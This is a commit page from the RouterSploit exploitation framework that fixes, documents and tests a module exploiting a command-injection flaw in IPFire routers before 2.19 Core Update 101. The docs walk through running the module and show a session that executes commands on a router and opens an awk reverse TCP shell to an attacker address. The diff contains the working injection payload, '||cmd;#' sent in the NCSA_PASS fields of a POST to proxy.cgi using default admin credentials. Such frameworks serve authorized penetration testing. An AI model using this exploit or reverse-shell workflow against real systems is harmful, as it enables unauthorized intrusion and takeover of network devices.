Unverified Commit cadcc36b by Marcin Bury Committed by GitHub

Fixing IPFire Proxy RCE module, adding tests and docs (#537)

parent 11f7bfcf
## Description
This module exploits IPFire < 2.19 Core Update 101 Remote Code Execution vulnerability which allows executing
commands on operating system level.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use exploits/routers/ipfire/ipfire_proxy_rce`
3. Do: `set target [TargetIP]`
4. Do: `run`
5. If router is vulnerable, it should be possible to execute commands on operating system level.
6. Do: `set payload awk_reverse_tcp`
7. Do: `set lhost [AttackerIP]`
8. Do: `run`
9. Payload is sent to device and executed providing attacker with the command shell.
## Scenarios
```
rsf > use exploits/routers/ipfire/ipfire_proxy_rce
rsf (IPFire Proxy RCE) > set target 192.168.2.88
[+] target => 192.168.2.88
rsf (IPFire Proxy RCE) > run
[*] Running module...
[+] Target is vulnerable
[*] Invoking command loop...
[+] Welcome to cmd. Commands are sent to the target via the execute method.
[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.
cmd > uname -a
[*] Executing 'uname -a' on the device...
Linux ipfire 3.10.44-ipfire #1 SMP Tue Sep 9 18:11:30 GMT 2014 i686 i686 i386 GNU/Linux
cmd > show payloads
[*] Available payloads:
Payload Name Description
------- ---- -----------
awk_bind_udp Awk Bind UDP Creates an interactive udp bind shell by using (g)awk.
awk_bind_tcp Awk Bind TCP Creates an interactive tcp bind shell by using (g)awk.
awk_reverse_tcp Awk Reverse TCP Creates an interactive tcp reverse shell by using (g)awk.
cmd > set payload awk_reverse_tcp
cmd (Awk Reverse TCP) > show options
Payload Options:
Name Current settings Description
---- ---------------- -----------
lhost Connect-back IP address
lport 5555 Connect-back TCP Port
encoder Encoder
cmd awk Awk binary
cmd (Awk Reverse TCP) > set lhost 192.168.2.100
lhost => 192.168.2.100
cmd (Awk Reverse TCP) > run
[*] Executing payload on the device
[*] Waiting for reverse shell...
[*] Connection from 192.168.2.88:44168
[+] Enjoy your shell
uname -a
Linux ipfire 3.10.44-ipfire #1 SMP Tue Sep 9 18:11:30 GMT 2014 i686 i686 i386 GNU/Linux
whoami
nobody
id
uid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody)
```
...@@ -6,7 +6,7 @@ class Exploit(HTTPClient): ...@@ -6,7 +6,7 @@ class Exploit(HTTPClient):
__info__ = { __info__ = {
"name": "IPFire Proxy RCE", "name": "IPFire Proxy RCE",
"description": "Module exploits IPFire < 2.19 Core Update 101 Remote Code Execution " "description": "Module exploits IPFire < 2.19 Core Update 101 Remote Code Execution "
"vulnerability which allows executing command on operating system level.", "vulnerability which allows executing commands on operating system level.",
"authors": ( "authors": (
"Yann CAM", # vulnerability discovery "Yann CAM", # vulnerability discovery
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
...@@ -22,6 +22,7 @@ class Exploit(HTTPClient): ...@@ -22,6 +22,7 @@ class Exploit(HTTPClient):
target = OptIP("", "Target IPv4 or IPv6 address") target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(444, "Target HTTP port") port = OptPort(444, "Target HTTP port")
ssl = OptBool(True, "SSL enabled: true/false")
username = OptString("admin", "Username to log in with") username = OptString("admin", "Username to log in with")
password = OptString("admin", "Password to log in with") password = OptString("admin", "Password to log in with")
...@@ -30,26 +31,30 @@ class Exploit(HTTPClient): ...@@ -30,26 +31,30 @@ class Exploit(HTTPClient):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
shell(self, architecture="none", method="awk") shell(self,
architecture="cmd",
method="cmd",
payloads=["awk"])
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
@mute
def execute(self, cmd): def execute(self, cmd):
url = "{}:{}/cgi-bin/proxy.cgi".format(self.target, self.port) headers = {
"Content-Type": "application/x-www-form-urlencoded",
headers = {'Content-Type': 'application/x-www-form-urlencoded', "Referer": self.get_target_url(path="/cgi-bin/proxy.cgi"),
'Referer': url} }
payload = "||{};#".format(cmd) payload = "||{};#".format(cmd)
data = {"NCSA_USERNAME": utils.random_text(12), data = {
"NCSA_GROUP": "standard", "NCSA_USERNAME": utils.random_text(12),
"NCSA_PASS": payload, "NCSA_GROUP": "standard",
"NCSA_PASS_CONFIRM": payload, "NCSA_PASS": payload,
"SUBMIT": "Create+user", "NCSA_PASS_CONFIRM": payload,
"ACTION": "Add", "SUBMIT": "Create+user",
"NCSA_MIN_PASS_LEN": "6"} "ACTION": "Add",
"NCSA_MIN_PASS_LEN": "6",
}
response = self.http_request( response = self.http_request(
method="POST", method="POST",
...@@ -57,16 +62,13 @@ class Exploit(HTTPClient): ...@@ -57,16 +62,13 @@ class Exploit(HTTPClient):
headers=headers, headers=headers,
data=data, data=data,
auth=(self.username, self.password), auth=(self.username, self.password),
timeout=10,
) )
if response is None: if response:
return "" end = response.text.find("<!DOCTYPE html>")
end = response.text.find("<!DOCTYPE html>")
if end: if end:
return response.text[:end] return response.text[:end]
return "" return ""
......
...@@ -19,9 +19,13 @@ def test_check_success(mocked_shell, target): ...@@ -19,9 +19,13 @@ def test_check_success(mocked_shell, target):
assert exploit.target == "" assert exploit.target == ""
assert exploit.port == 444 assert exploit.port == 444
assert exploit.ssl is True
assert exploit.username == "admin"
assert exploit.password == "admin"
exploit.target = target.host exploit.target = target.host
exploit.port = target.port exploit.port = target.port
exploit.ssl = "false"
assert exploit.check() assert exploit.check()
assert exploit.run() is None assert exploit.run() is None
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment